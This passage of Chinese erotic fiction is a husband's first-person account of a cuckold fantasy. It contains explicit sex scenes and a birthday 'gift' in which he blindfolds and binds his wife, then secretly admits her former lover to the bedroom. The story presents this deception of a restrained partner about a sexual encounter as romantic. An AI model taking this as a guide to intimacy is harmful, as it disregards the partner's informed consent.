突然,宁卉的眼睛一亮,“嘿,老公啊,我看啊,把小燕介绍给他做女朋友吧,他俩好般配呢,身高,相貌,真是是壁人一对,绝配哦。”

什么情况?我心里一咯噔,嘴巴就O成了个圆,这女人的想象力也太NND丰富鸟吧,居然这也想得出,我怔了一下,赶紧开口,“这哪跟哪儿啊?”

这下宁卉好好的盯着我,嘴巴嘟着,“哼,我看,你是舍不得你的小燕子吧!”

接着我的汗就下来了,嘴巴也不利索了:“唉唉,老婆你讲点道理好不好,人家……人家素不相识,这么也……也太突兀了吧……”

我见老婆嘴巴还嘟着,赶紧俯过身去搂着老婆的腰杆,对着老婆脸蛋啵了一口,“嘿嘿,不过没准,以后有机会的呢。”

宁卉这才破怒为笑:“我是说真的,北方要是有个正儿八经的女朋友,保不齐就不会这么钻牛角尖了。”

“呵呵,敢情你这个女朋友原来是不正经的哦,今晚一回来就听你说他没个完,我看,这疼啊,是真疼在心里了喽。”

“死鬼,你才不正经呢!”

宁卉伸手在我胳膊上使劲掐了下,脸上突然泛起一点不仔细看不出来的姹红,“谁叫你过来的,到脚边去给老婆继续揉脚板啦!”

等洗漱停当,我闹着要跟老婆一起在电脑上看看电影,一般来讲,这也是宁公馆通常的温馨场景,其实看神马不重要,重要的是小俩口搂着看那种黏糊与亲热劲才是硬道理。

但今晚看神马变得重要了,因为俺特意选了部电影,贝尔托鲁奇老贼的《戏梦巴黎》你要问我为啥要选这部片片?看哈介绍嘛:1968年法国学运前夕,孪生姐弟伊莎贝拉和雷奥因为电影,与来自美国的留学生马休成为好朋友。姐弟两人将马休带到家中做客时,马休得到两人同是大学教授的父母的喜爱,住进他们家中,慢慢地,他喜欢上伊莎贝拉。学运开始后大学停课,三个年轻人因无所事事在房间里玩起有关电影导演和台词的游戏,游戏进行当中,伊莎贝拉知晓马休对她有意思,联合雷奥要求马休与她做爱,自此,由于父母出门度假,三人开始了如伊甸园般的日子,马休也慢慢发现伊莎贝拉和雷奥有不伦恋情,三人关系开始发生微妙的变化,而外面正如火如荼进行着的学运似乎已经与他们无关……

悄悄告诉你,这是我看过的拍得最美的一部描写三人行场景的片片哈,有情节有意境,关键部位似露不露的,大师玩的文艺范儿。

为嘛我要今儿选三人行的场景给老婆看……你还不懂俺就没办法鸟。你如果问我为啥不直接上A片的菜鸟,A片里从三人行到N人行那是多了去,那我义正言辞的告诉你,因为俺们都是文化淫,A片的讲的是XXOO,人家文艺片是讲为嘛要XXOO,这没得比,俺老婆好歹也是高知加小资的主哈。

我是把电影拷贝到宁卉的手提上的,跟看郭胖子相声的姿势一样,俺们半躺着,俺搂着老婆几乎半裸的身子,手伸进老婆的睡衣里轻轻摩挲与挑弄着老婆的一切敏感之处,老婆惯常的方便待会的裸睡,小内内都木有穿——耳垂、乳头、大腿外侧、大腿内侧、臀部……

一会儿,电影还没看到真货,我不经意手伸进老婆双腿间撩了一把,我靠,已经有点状况了,我的手指撩出一些黏湿,这女人是水做的还真是那么回事。

然后电影也真奶奶的争气,让宁卉看的津津有味的,直说好看,说姐弟与别的男人玩三人的奇葩剧情竟然被拍得如此的美好与自然。

老婆这些评价让我那个的底欢欣鼓舞,我干脆直接掀开了老婆的睡衣,两只手也不客气的在老婆胸前那两只翘挺的乳房上开始用力的揉捏起来。

接着,电影画面出现了一个姐弟俩与马休均一丝不挂同时在浴缸里的镜头,女主正好别两个男人夹在中间……我不经意的嘴靠近宁卉的耳垂:“呵呵老婆,可惜俺家的浴缸不够大。”

“咋了?”

宁卉轻轻喘息着,耳根竟然有些微微发烫,明显电影里的场景起到了很好的催化作用。

“三个人容不下呗。”

我嘿嘿一笑。

“嗯嗯,”

宁卉本能的身子一抖,转过头来眯了我一眼,眼神有些迷乱,但突然却想起什么似的,“去你的,你这个变态,你又想啥了?”

“嘿嘿,你晓得我想啥了哈老婆。”

我张嘴就朝老婆嘴上咬了一口,“赶天俺也去换个大点的浴缸哦好不好?”

“呜呜,没……没门,不许换……够咱们俩就……就行了……”

宁卉被我堵着嘴叹息到。

呵呵,这女人吧,口是心非俺是领教无数了,特别情动时分,她的话吧你得反着听哈。比如这就是证据,我接着伸出手直接朝老婆的屄里摸去——刚才还是小溪,现在开始有些洪涝了。

“你湿了老婆,”

我轻轻的在宁卉耳边唤到,然后头低下来,一口含着老婆的一只已经有些微微勃起的乳头,一只手捻着另一只,“比如,想象这哈这个情景,我的另外一只手是另外一个男人的嘴,这样的话,就成了两个男人同时在舔你的奶头,神马赶脚老婆?是不是成了敦煌的壁画,飞天啦?”

“哦——”

宁卉重重的喘息了声,身子不由得痉挛了下,然后嘴里发出酥酥的哼哼声。

继续追击!撩拨女人对于宁煮夫来说已是百炼成精,我继续滚烫的言语大餐,然后将伸进老婆下面的手指小心儿很有力道的伸进了已经濡湿涟涟的穴口里:“比如,现在老公下面伸进来的手指是另外一个男人的鸡巴,而上面老公的嘴继续在舔你的奶头,神马赶脚?那……”

我是想激动老婆,没想到这一瞬间老婆跟两个男人做的淫靡意象把老子自己先激动到了,就见俺喉咙有些瘙痒而不能自主,咽了一大口口水:“老婆啊,这可是女人性爱的最高享受啊!”

下面半句话儿老子没敢说出来,这才是一个绿帽老公梦寐以求的最高境界——三……三P……

“嗯嗯”宁卉的喘息有些难以自持,身下随着我手指在穴洞里的蠕动扭结起来,嘴里的话语嫣然而迷糊,“不……不要,老公……你又……又来了……老婆……不……不要了……我……我只要你……”

话虽这样说,但声调却一声一声的见弱,胸部的起伏却一下一下的见强,乳头完全在我的口舌的抚弄下硬挺起来……

“再比如,”

此时电影里传来的画面是女主正在跟两个男人香艳情挑,接吻抚弄,宁卉半闭的上弯月时不时朝电脑屏幕瞟去……“再比如,你趴着舔老公的鸡巴的时候,后面撅着的屁股却被另外一个男人的鸡巴插入狠狠的操着,想想神马赶脚老婆?唉唉,老公想着都受不了啦?”

说着我一把将宁卉的手拉着抚摸到我早已勃起如铁的鸡巴上!

“啊——”

宁卉一艾触摸到我的鸡巴不由得叫喊出来,女人身软欲炙的时候最希望的是男人的硬挺,这是生物学上不可颠扑的真理,我在想这会儿老婆摸着的不是俺的鸡巴而是另外一个男人的,是不是也会这样的叫喊出来,这样的身随情动?

“我要是这会儿是孙悟空就好了。”

“嗯嗯?”

宁卉的喘息中有问我为啥要当孙悟空的意思。

“我是孙悟空我现在就变成两个男人来侍候老婆啦!”

说着我就重重的将老婆的一只乳头叼起,然后突然松开,发出清脆的啵的一声!

“啊啊,老公啊别……别那么变态啦,还……还要不要人看电影啦?嗯啊……”

宁卉的话语中夹着酥骨的呻吟……

“不看了!”

说着我挪开电脑,扒拉下自己的内裤,老鹰叼鸡饿虎扑食般扑在了老婆雪白嫩滑,欲情炽燃的身上……

扑在老婆身上的刹那,老子真的幻觉般觉得自己成了孙悟空变成的两个男人!

明天就是老婆生日了,这天宁卉依旧上班,我特地打电话给曾大侠确认了曾北方同学的状态,曾大侠告诉我按计划一切正常,我还是有点不放心,觉得还是跟别个见个面的好。到时候叫别个来又不是吃个饭,是来操俺的老婆啊,这绿公奸夫的不沟通好,万一出现啥尴尬的局面就不好玩了。

于是曾大侠作陪约北方同学跟我一起吃了个饭。席间,曾北方同学开始一直耷拉着脸不敢看我,只是原来看我的那付苦大仇深的模样木有了,有的只是一脸的惶然。

还是曾大侠给力,一阵咋咋呼呼气氛的调节过后,曾北方的脸开始渐渐的开始敢抬起来看我了,脸上开始多了大男孩般的笑意与清朗,只是看我的时候有种奇怪的表情,是那种看怪物的表情,以及对这个怪物的崇敬之情。

呵呵,这一切我自然看在眼里,毕竟是小屁孩,没见过俺这种送老婆给别的男人操的怪物也可以理解,我主动拿过曾北方的酒杯给酒斟满,然后主动拿起自己的酒杯给这小子碰杯,还没等我开口,这小子一番话倒说得我心头一阵热络:“陆哥,以前是我不好,我……我没想到陆哥这么大量,我姐把真相都告诉我了,我真没想到夫妻之爱还有这样一种方式。宁姐真幸福。我误会你了陆哥,来,这杯干了,算是我对陆哥以前的不敬陪个不是,我以前是不懂事,现在,我知道该怎么做了。”

“呵呵,话说相逢一笑泯恩仇,况且咱们之间也没啥恩仇是不是。”

说话间,我伸过手去拍了拍曾北方的肩头,以从感情上拉近彼此之间的距离,毕竟明儿咱俩还要一起合作干大事嘛。

“还陆哥呢,”

曾大侠永远不乐意当自己是配角,总找得到话来咋呼,“你该叫人家宁哥啦,或者亲热点,都是一家人了,叫姐夫!”

曾北方听着挠了挠头,有些不好意思,但怔了会还是脆生生的来了句:“姐夫!”

说完十分无邪的咧嘴一笑,露出一排整齐的,白生生的牙齿。

第二天宁卉生日!宁卉还是去公司了一趟,只不过比平时走得早一点,今天是约好晚上在家我整了些宁卉喜欢吃的菜,邀请曾大侠两口子来一起吃个饭小范围庆祝下。

吃饭的时候,曾大侠跟熊雄同志拎着个精美的生日蛋糕来了。宁卉一晚都很开心,大家酒喝得尽兴而适量。曾眉媚还特意送给了宁卉一只价格不菲的阿拉伯风格的手链作礼物。宁卉收下礼物的时候瞟了俺一眼:“哼,老公,你的礼物呢?”

“嘿嘿,”

还没到时候啊,我故作神秘的咧嘴一笑,然后端上完场酒张罗大家喝团圆酒,举着杯我清了清嗓子,像要神马重大的讲话似的,但故意捏了半天才来了句:“嗯,今儿老婆的生日,也是俺宁煮夫的节日,啥也不说了,老婆,来,老公祝你,好生……”

这个“好生”俺足足顿了了半晌才重重的吐出一个字来:“日!”

话音刚落,自然听出其中道道的曾眉媚立马就咯咯咯的笑出声来,熊雄同志瞟了我一眼,也意味深长的笑了声。

一会儿宁卉才反应过来,接着一拳头捶在我的肩上,脸上飞起红云:“你害不害臊啊!”

呵呵呵,是啊老婆,老公就是要让你今儿好好的,好生的被日的嘛!

吃晚饭曾大侠两口子坐了会唠了会儿嗑告辞而去,宁卉不明就里的还挽留人家,曾大侠自然坚持要走,说是要给我们两口子留更多的二人世界。

只是走时,曾眉媚咋呼着要给我们两口子一一拥抱作别,拥抱到我时,曾眉媚故意脸贴我很近,轻轻的在我耳边耳语了一句,手还拍了拍我的背:“今晚你得悠着点哦。祝你梦想成真。”

我靠,这绿公的老婆当久了,都晓得今晚老子要做的是梦想成真的事儿,我于是也很感念的,很感慨的,发自心底的回应了句:“谢谢,军功章有你的一半哈。”

宁卉自然不知道我跟曾大侠咬舌头咬了些啥,在一旁有些惶然的看着,不知道这俩极品亲友团这段时间那是为这个梦想是多么滴煞费苦心。

等宁公馆恢复了往日的宁静,我张罗着收拾了一番后,去到浴室将浴缸的水盛满,然后将今儿特地给老婆买的一大束红玫瑰的花瓣一瓣瓣的扯下来铺满了浴缸的水面,然后出来抱着宁卉进了卧室。

“哇!”

宁卉见到满满一浴缸的玫瑰花瓣,眼里水亮的都印出了那些花瓣的影子,然后惊叫一声,一口重重的吻住了我的嘴唇,“老公你好浪漫啊!这就是你给我的礼物?我爱你老公!”

我摇摇头,无比温柔的一笑:“还没到礼物时间,老公别无长物,除了浪漫哈。”

跟老婆在铺满玫瑰花瓣的浴缸里整了个浪漫的鸳鸯澡,加上我适度的撩拨,宁卉的身心早已情欲失据,在浴室里就黏糊糊的粘着我,其实我要在浴室里就跟老婆来上一炮也是顺利成章的事儿。

但我的选择却是洗净完毕后,用浴巾包裹着老婆一丝不挂,比那一缸玫瑰还娇美的身体进到卧室,将老婆温柔的搁放在床上,轻轻的将老婆身体上的水珠擦干。老婆S形的身体霎时如出水芙蓉般,雪白的肌肤的嫣然不可方物,发出溢彩的光亮。

然后,我从床头柜里拿出了几样物件,眼罩,和不干胶。

“老公……”

宁卉有些错愕的眼光看着我,“你要干嘛?”

“嗯嗯,今儿老公要来个重口味的啦!”

我俯下身吻住了宁卉的香唇,“呵呵,老婆,今天是你的生日,老公说了要让你好生日的啦,老公要让你的生日有别样的感受好不好?”

俺这一温柔的亲吻加话语立马让宁卉错愕烟消云散,只见她风情盈盈的回吻着我,嘴里喃喃到:“嗯,就知道你坏啦老公,老婆是你的,你想怎样都可以。”

边跟老婆你侬我侬的情挑着,我边轻轻的将宁卉的拉着双手向上伸展在床头,用不干胶绑定固定在床沿,然后,拿出眼罩给宁卉戴上。

“嗯嗯,老公……我怕……”

宁卉身体开始了扭结。

“别怕宝贝,”

我嘴里不停的亲吻着宁卉,尽量让她的身体与情绪放松。然后嘴唇顺着脖颈往下,来到乳房,舌头轻轻扫过乳头,肚脐,小腹,来到那俺最是爱不能再爱的黝黑的,繁盛的毛丛,再往下,我轻轻分开宁卉的大腿,将自己的脸埋下去,舌尖准确的对着此时已经泛着晶亮的淫液的微微凸起的花蕾,扫弄上去……

“啊——”

宁卉背弓一阵扭曲,双腿紧紧夹着我的脸,发出一声长长的酥叹!

“舒服吗宝贝?刺不刺激?”

我的舌头开始的扫弄一番花蕾,然后将舌头伸到最大长度,就着老婆身下已经满口的蜜液伸进了粘稠的穴洞里。

“嗯嗯,好舒服,好刺激……”

伴着话语,宁卉不停呻吟着,娇喘一阵紧似一阵。“嗯嗯,我要,我要……”

突然,我将埋在老婆身下的脸抬起,站起身来,悄然无息的走到卧室门边。

“嗯嗯,老公,去哪儿了?老公,老公……”

宁卉的身体扭动着,看上去有些紧张,双腿紧紧夹着,似乎在告慰自己身体已经被如此别样的方式熊熊挑燃的欲情。

这时候,卧室的门轻轻的,没有一点声响滴打开了……


05-31

第75章:宁卉的生日礼物 (下)

前段时间确实太忙,人也一直不舒服,所以更新慢了,不好意思。感谢大家的关心,以后原则上仍会保持一周一更。希望大家继续支持。……

当曾北方同学大气不敢出滴,一只脚跨了进来,我就没看到这小子跨进来的另外一只脚——这小子以半边身子撑在门里半边身子吊在门外的方式僵在那儿。

话说宁公馆这最私密的卧室领地是第一次被另外一个男人侵入——人家鬼子是悄悄的进村,打枪的不要——而这个花样美男却是老子请来操我老婆滴——悄悄的进宁家庄,就是来打枪的!

关于宁公馆的绿色工程划时代意义的事件就将在这场事先谋划的悄悄进庄的打枪中上演,这让我那颗淫妻的心纵使有万般激动,但看着老婆洁白如藕,滑腻如缎的裸体扭结着以隐隐约约大字的姿态,以双腿之间那一丛还滴着露珠般晶莹的让人心怀激荡的茂密黑盛为视角焦点的一览无余同时呈现在俺跟曾北方同学的眼前,纵使老婆曾经无数次在她的小情人身下纵情承欢,我心头的忐忑还是一阵紧似一阵,我实在拿不准要是这会儿姓曾的这小子楞生生的就往俺老婆一丝不挂的身体上扑上去,宁卉是不是会把这定性为强奸或者至少是诱奸,那样的话,俺这礼物就送大了,到时候莫说是跪键盘,跪CPU都木有用鸟,还3P……个铲铲!

“嗯,老公你在哪里?”

偏偏这时候宁卉又开始娇声滴滴,身体像鳗鱼似的扭曲着,蒙着的眼睛似乎也能感觉那里射出滚烫的媚光,而嘴皮轻轻的咬着让嘴里的气息如潺潺小溪时断时续的流出整出的嗲态端的让人无法消受。

这时候,我竟然看见曾北方同学脸上有一种进退失据的惶然,那眼神竟然求助般望着俺,纵使这小子没敢出声,但那嗫嗫蠕动的唇语老子看出来了意思是:大哥,要怎么办?

这等于是问我上还是不上,我顷刻间想到的是冰山上的来客那句著名的台词:“阿米尔,冲!”……

但我还是没敢把这句台词背出来,因为我分明感受到这小子此时那种本能的畏缩,可能这小子也在瞬间思考着要是这么粗鲁的扑上去,要是真的被他的宁姐姐定性为强奸或者诱奸,自己是不是能承担这样的犯罪成本。

俺这时候的忐忑一时间也让我变得无所适从,竟然突然有一丝后悔贸然的整这么大一出,现在端的是退不甘心,进又怕没法收拾。

于是乎,我赶紧伸手将姓曾的小子推出门外,动作轻得像做贼似的,这厢边还不忘嘴里应和到:“老婆,我好像听到我搁在客厅的手机在响,我去把手机拿进来。”

推着曾北方出了卧室,我都能看见这小子头上渗出来的汗珠,也难怪人家这么紧张,单独跟他的宁姐姐约会XXOO是一回事,当着人家老公的面XXOO,这时候她宁姐姐变成别人的老婆了,需要的那样一颗强大的心得要道行多么深的淫才能匹配,毕竟人家一孩子哪见过这样的大场面嘛。

纵使当初这小子也当着俺的面操了他宁姐姐,毕竟那时候老子在他眼里只是个癞蛤蟆想吃他宁姐姐天鹅肉的吊丝,那种心里状态是不一样的哈。

接着我冷静的分析了眼前的情势,导致俺与姓曾北方同学都有同样的害怕把礼物做成犯罪的担心,在于俺的现场的情绪还酝酿与调度的不够,如果待会让老婆搞成本能的反抗,今晚3P演砸了是小事,以后的宁公馆的绿色工程彻底宕机了那到时候宁煮夫同志哭都哭不出来鸟。关键是要让这一切成为意料之外,情理之中那般水到渠成般的自然才是硬道理。

于是我赶紧跟曾北方耳语了几声,曾北方在俺耳语下点了点头,然后诚惶诚恐的看了看我,那意思是问老子:“大哥,行不行啊?”

我显得满怀信心的拍了拍曾北方的肩膀,我晓得,老子以绿公的名义作为操控者,作为这场节目的主持人这时候要是先就蔫了,难不成还能指望奸夫能有啥石破天惊之举。

话说我说出来拿手机还真不是跟宁卉随口编的瞎话,俺的手机这会确实搁在客厅,并且我听着将将确实有电话打进来,我拿起手机一看,我靠,老子想到所有人都没想到是这小子打来的:络腮胡!

这崽儿到底要干啥子?我心里咯噔了一下,但现在也顾不了那么多鸟,我便拿起手机屁颠颠的返回了卧室。

卧室此时因为老婆的玉体横陈依然满屋生辉,风景如初,春色潋滟,老婆此时的双腿正不经意的交叉在一起摩擦着,看来这蒙眼的黑暗中带来的刺激还真是道催情的猛药哈。

宁卉听见动静,知道我进了卧室便黏声问到:“老公啊,把老婆一个人搁在这儿你什么意思嘛?谁的电话啊?”

“嗯嗯,皮实的。”

我随口就将皮实拉出来当挡箭牌。

“这会找你什么事啊?”

宁卉继续问了句。

“我没回,不管他了,明儿再说了。”

我拿着手机赶紧伏在宁卉光生白嫩的身体上,脸埋下去到老婆半张着水润圆丰的嘴上狠狠啄了一口,“哦,老婆啊,我忘了个事。”

“嗯……”

宁卉动情的回吻着我,舌头灵蛇边往我嘴里钻,边喃喃着,“什么……什么事啊?”

“老婆啊,”

我拿起俺因为原来的手机被仇大小姐摔坏而新买的手机瞥了一眼,“气死人了啊,上次手机被摔坏,那次发给我的你跟北方回他老家你跟他在……在海边接吻的照片,还有……还有你们爱爱的时候实况转播的录音全都木有了啊?老公那个的心疼啊。”

“啊?”

宁卉没想到俺突然来这么一出,听俺这么一闹腾,身体本能一紧,“你……你还有完没完啊?怎么现在突然想起这个了,你变态啊?”

“老婆,”

我见宁卉的反应并是太十分激烈般抗拒,觉得有戏,便张开嘴俯下身去朝宁卉此时已经有些硬翘粉里透红的乳头啄了一口,“你手机头那张照片还在吧?能不能重新发给我啊?”

“嗯哦……你要那张照片做什么?”

宁卉许是因为乳头在我嘴里的抚弄带来的快感喉咙有轻轻的气丝吐出。

“要嘛,在不在嘛老婆?我就喜欢那张照片,每次……每次看着你跟他接吻的样子老公就激动,悄悄的告诉你,”

我接着脸伏在宁卉耳边,嘴巴轻轻咬着她的耳根,“对着那张你跟他亲嘴的照片,老公都打过好多次飞机呢。”

“嗯嗯,”

不知道宁卉听俺这么一说是惊异还是快感的娇躯一颤,“你干嘛啊老公,你怎么还是这么变态啊?消停点行不行呀?”

“在不在嘛?你不会删了吧?”

我继续对老婆的耳垂发动波浪般的攻击,话说耳垂是女人身体上最脆弱的防线……

“嗯,还在……没……没删了。”

老婆娇声喘息着应答我。

这个回答直把俺乐得,宁煮夫晓得该咋个咋呼了:“哦哦,原来你是还想着他是不是嘛老婆,都舍不得删跟人家亲热的照片哈。”

“你……你什么意思嘛?”

宁卉这下晓得上了宁煮夫的套了,嘴里嘤嘤呜呜嗔怪着,“好好,那我这就删去!”

“嘿嘿宝贝,想就想嘛,你想他老公才高兴呢。”

我赶紧应付到,复又将嘴巴压过去覆盖在老婆的嘴儿上。

“才没想他呢。”

宁卉被我堵着的嘴嗫嚅着抗议到。

“好了好了老婆传给我好不好?”

我嘴里噙着老婆的香舌,一只手朝身下婆娑而去。

“嗯嗯,干嘛非要这阵啊?”

我感觉老婆此时的声音跟身体一样开始发烫,双腿紧紧夹着我伸进去的手。

“就要这阵嘛,求你了老婆。”

说着舌头在老婆嘴里就感到一阵甜甜的津液上嘴,煞是让人陶醉。

“唉,”

宁卉嘤咛着,一付拿诞着脸的宁煮夫没辙的样子,朝旁边努了努嘴,“手机在床头柜上,自个翻去,真拿你没法,变态!”

乌拉,得到老婆这个指示,我赶紧把宁卉搁在床头柜上的手机一阵捣拾,迅速找到那张照片然后最快速度的发在我的手机上,接着我拿着手机好好将照片端详了一番:似乎是有意对着镜头摆的POSE,照片上宁卉跟曾北方如同热恋的情侣热吻在一块,宁卉的嘴带着渴望般的欲念张开着,舌头被清晰的看见正伸入到北方的嘴里跟小情人的舌头交缠在一起,做出好一付滋滋顺咂,如胶似漆的黏糊状,而俩人紧紧拥抱在一起的身后,是一片淡蓝无垠的大海……

俺这一端详不要紧,要紧的是以各种方式听不得加见不得老婆跟别的男人欢愉亲热的小宁煮夫此时的劲头被如此明显的淫妻牌荷尔蒙给激发了,俺刹那觉得身下一阵蠢蠢不堪的异动。

我浑身激奋不堪的扑到在宁卉身上,张开嘴不由分说的贴在宁卉的嘴唇上大口吮吸起来,然后边粗气上身的喘到:“哦哦老婆受不了,我又看到照片了,我发现,你……你跟他亲嘴的时候好投入哦……舌头……舌头都伸进了人家嘴里在……在搅呢。我受不了了!”

“呜呜呜,”

宁卉在我口舌的围堵下闷闷的娇喘着,明显是被俺的这一番突入起来的发表的感想给雷到了,满脸的疑惑,“咋了老公……这照片……你不是看过了嘛?况且……呜呜……”

这况且的后半句宁卉没能说出口,只是继续发出了呜呜的嘤咛声。

哦买噶!一切情势的发展都在俺设计的路演图中,老婆况且后面的话是撒子其实俺已心知肚明,我赶紧把话茬接过来:“你是不是说况且老公都亲眼看到你跟他爱爱过啦这有啥大惊小怪的是不是嘛?”

“嗯嗯。”

宁卉含着我的舌头先是点点头,然后许是觉得又上了宁煮夫同志的套似的又赶紧摇摇头。

“可老公还想看嘛!就刚才看看你跟他接吻的照片我都受不了,你看嘛你看嘛。”

说着我从裤裆里扯出此时已经满血勃起的鸡巴拍在老婆的大腿上啪啪弹了两下,“老公的鸡巴都这样硬了!”

然后,我狠狠将宁卉半伸在我嘴里的舌头含着一阵狂乱的吮吸,一串含混不清的标志性的宁煮夫牌的诳语随之而出:“照片里,你把……把舌头伸进……他嘴里的时候,他是不是这么用力的吸你……吸你的嘛?”

“呜呜……嗯嗯……”

宁卉把呻吟的尾音拖得煞是婉转,在我欲望切切吮吸的间隙吐露些似言非语的应答,“咋了老公,今天咋又说这个啦?你是没这些变态的刺激你……你……”

我故意再次一口奉上咬住宁卉的舌头,把老婆下面的话给堵住了:“嗯,好想老婆,好想再来次四人行啊,”

然后俺顿了一下,“嗯嗯,三人行也可以哦。”

说完宁煮夫的小眼一翻一翻的没忘审视了番老婆的反应。

“变……变态,什么四人三人……什么乱起八遭的呢!”

嘤咛着,宁卉给予了宁煮夫同志如此铿锵正气的回应!

“老婆真的好想哦。赶哪天咱们约他们姐弟俩再找个地方玩玩好不好?”

我搁在宁卉身下的手指准确的在那朵迷人的花蕊上开始有力的揉捻着。

看来双腿间迷人的花蕾果真是引领女人的快乐之门,宁卉此时被绑着的双手似轻还重的挣扎着,而身体在我手口并用的攻击下已经传达出各种情动的信号,尤其身下已经十二级汛情,惹得俺的手指如同捣在一团浆糊里发出汩汩的声音,而嘴里开始了情迷欲切的轻唤:“嗯,老公,给我……要我……”

“哦哦,好的好的,老公就来……”

我把小宁煮夫完全从小内内里扒拉了出来,将龟头黏着老婆身下濡湿的穴口边一阵蠕动就是不忘里搁。

“嗯嗯,老公,老公……”

喘息中,宁卉的已经声不成音。

“叫我北方!”

我突然将龟头对着老婆的穴口一挺,将将将龟头没入半寸停住了,“叫我北方,叫北方插我……”

“嗯嗯,不不……我要老公的……”

宁卉身体听我嘴里吐出北方这个音节的当儿禁不住一个激灵,但嘴里吐出的话语跟她不停摇着的头表达的却是另外一个意思。

于是我将没入了半寸进去的龟头扒拉了出来。

“嗯嗯,搞什么嘛老公,给我啊,别……别拿出来啊。”

宁卉娇嗔着,身下不由自主的朝我贴了上来,而手被束缚着又无法使得上劲,惹得我真想把眼罩扒拉开看看老婆此刻欲火上身,那付一定拉得如丝的上弯月是如何的迷人心魄。

“叫我北方,叫北方插我!”

俺说完屏住呼吸,我晓得现在是两双耳朵都在听着成败在此一举的时刻到来。

一双是宁煮夫的,另外一双我估摸着一定正贴在卧室门外。

“变……变态……”

宁卉的呻吟渐隐渐弱。

“求你了老婆,就让老公再体验一次cosplay嘛,假比现在伏在你身上的是你的小情人操你,老公在旁边偷窥着呢。你不是说今儿老公怎样都可以的嘛,呜呜求你了老婆。”

“呜呜,”

这个建议明显让老婆的身体挺动了一下,见宁卉咬了咬嘴皮顿了顿,然后像下来很大决心似的开了口,“嗯嗯,北……北方……”

“没说完!”

宁煮夫这下得瑟了,是得势不饶人的得瑟,“继续老婆……没……没说完呢!”

“嗯嗯,北方来插我,北方来操我。”

宁卉突然爆发出来的音量让我都吓了一跳,身体的扭结到了一种扭无再扭的极致。

“想不想他?想不想他的大鸡巴!”

我复有将依然硬无可硬的龟头朝老婆的湿漉漉的穴口里挺入了半端。

“呜呜。”

接着宁卉只见呻吟半天不答话,急死个人。

我只好再次将鸡巴抽出来,“想不想他宝贝,告诉老公说我想他,我想北方。”

“嗯嗯,我想他,我想北方。”

宁卉再次扭捏一番后,此刻在我听来如此摄人心魄的回答终于从嘴里飘然而出。

哦买噶!击鼓为号,成了!

刚才老子在曾北方那小子耳边耳语一番就是说的这个,我告诉他如果在门外听到他宁姐姐说出“我想北方”就可以阿米尔冲了。

接着我将鸡巴抽出,将旁边的睡毯轻轻盖在老婆一丝不挂的身上——这是按照曾北方同学所要求的,说是他实在无法以这样的方式直接面对他宁姐姐的裸体。

“老公……咋了?”

宁卉见我突然拉起将身体跟她脱离了接触,惑然的问到。

“哦,老公找套套呢。”

这下俺也找不到啥合适的理由了,只要开始张口打哇哇。然后我下意识的朝卧室门瞄了一眼……

但这时候门居然半天没动静,我靠!急死个人,这是皇帝不急太监急还是咋的。老子霎时火起,什么鸟人嘛,这个时候你小子要认怂了还是不是个带把的?

俺心里正准备咧咧操骂一番的当儿,就见门轻轻的,推开了……

然后看见北方表情怯生生的将身子闪了进来,一脸说不出的感动还是啥的,反正忒复杂很难以言表。

我示意曾北方朝我这边挪过身来,一艾他来到我的身边——这一切的规定动作曾北方按俺的要求都特别做得悄然无息。然后,我把本来拉着的一只宁卉的手缓缓的放了开来,对着曾北方同学会意的点点头,意思是让他接着俺把他宁姐姐的手牵起来握在手里。

曾北方照办了,表情有些涩然的背后,是那种对他宁姐姐长久的思念突然得到释放的温情将宁卉的那只刚才还在我手掌中的手,轻轻握在了手里……

接着我俯下身去对着宁卉的耳边轻轻呢喃到:“老婆,继续说我想北方……”

“嗯嗯,”

宁卉轻哼了两声,明显没有发觉此时握住她的已经不是宁煮夫同志,嘴里仍然应承着老公:“北方……我想你。”

话落之时,俺是用眼角的余光扫了曾北方同学一眼,而曾北方同学此时是用眼角的余框擒满着泪水——尽管没流出来,但一圈一圈在打着转儿。

小朋友有泪不轻弹,只是未到伤心时哈。

我正思忖着接下来该咋办,设计的路演图只到这里哈,没想到只见曾北方同学嘴皮动了动,虽说看得出来是鼓足了莫大的勇气,但那种真情的流露倒是真心的,嗫嚅着似乎只有他自己才能听得到的声音:“宁姐,我……我也想你。”

我靠,这下该宁煮夫瞪大了眼睛,接下来,这小子是真的会成为礼物,还是犯罪证据?

尽管曾北方的声音很小,但是足够让宁卉听得真切明白,就见宁卉的手本能从曾北方的手里弹开,脸色万般惊惑的叫了起来:“北……北方?”

“嗯,宁姐,是……是我。”

老子看到这小子这时候脸都吓白了。

“老公,老公……”

宁卉本能的将头摇着叫喊着我,手似乎想从缚结中挣扎出来,“老公你在哪里?这……这是……”

我赶紧将手伸过去握着老婆的手,感觉她的手一把抓住我的时候有种张惶的力量:“亲爱的,我在我在,别怕。”

说着我赶紧伸出另外一只手将宁卉脸上的眼罩挪开。

哗!老婆的眼睛在经过短暂的适应后,眼光如梭般怔怔放出惊异的眼光,那眼光汇聚的是难以置信的电流,然后,我看见宁卉本能的将刚才只是似有似无盖在自己身上的睡毯拉过来覆盖在自己胸前,遮住了刚才半露着的酥乳。

“宁……宁姐。”

曾北方同学此时的表情像极了砸碎了教室玻璃在老师面前认错的孩子,怯生生的让额头染满了汗珠。

“啊?你……你怎么会在这儿?”

宁卉还没从惊异中回转过来,怔怔的看了看在老婆心中我敢说在这段分离的时间也并非一点不想的曾北方同学,然后看看我,这时候宁卉看我的眼光告诉我,她此时什么都明白了。

我稳住表情,然后起身,我晓得这时候该给人家一点私密的时间,一来缓和哈此刻尴尬的气氛,一来嘛,人家情人间多人不见,也该好好叙叙旧哈。

“Happybirthday!”

我笑了笑,以一脸无比的温柔对老婆说了声,然后跟曾北方同学点了点头,然后留给人家一个优雅的背影——闪着伟大的绿色光芒的,离开了卧室。出卧室的时候,我轻轻的,不带走一片云彩,但带上了门——尽管那门只是虚掩并没有关实……

我是拿着手机出来的,出来的时候俺有些激动难掩,我立马将仇老板送我的还没抽完的雪茄找出根点上以图压压沸腾的情绪,我靠,俺吸了口,甚觉如海风般的清凉,那种加勒比风格的海风哈。

接着我听见卧室里传出一些轻柔如诉的话语,隔着门实在听不清,这让俺那偷窥的心火像燃烧的雪茄撩人,我赶紧悄然挪过身到卧室门边,透着虚掩的门缝,我看见老婆跟她的小情人正在呢喃着什么。

还好,俩人的距离比刚才靠近了许多,然后我看到,宁卉伸出一只手在曾北方同学的脸上轻轻的拍了拍,伴着而来的唇语遭我看出来了,说的是:“你瘦了。”

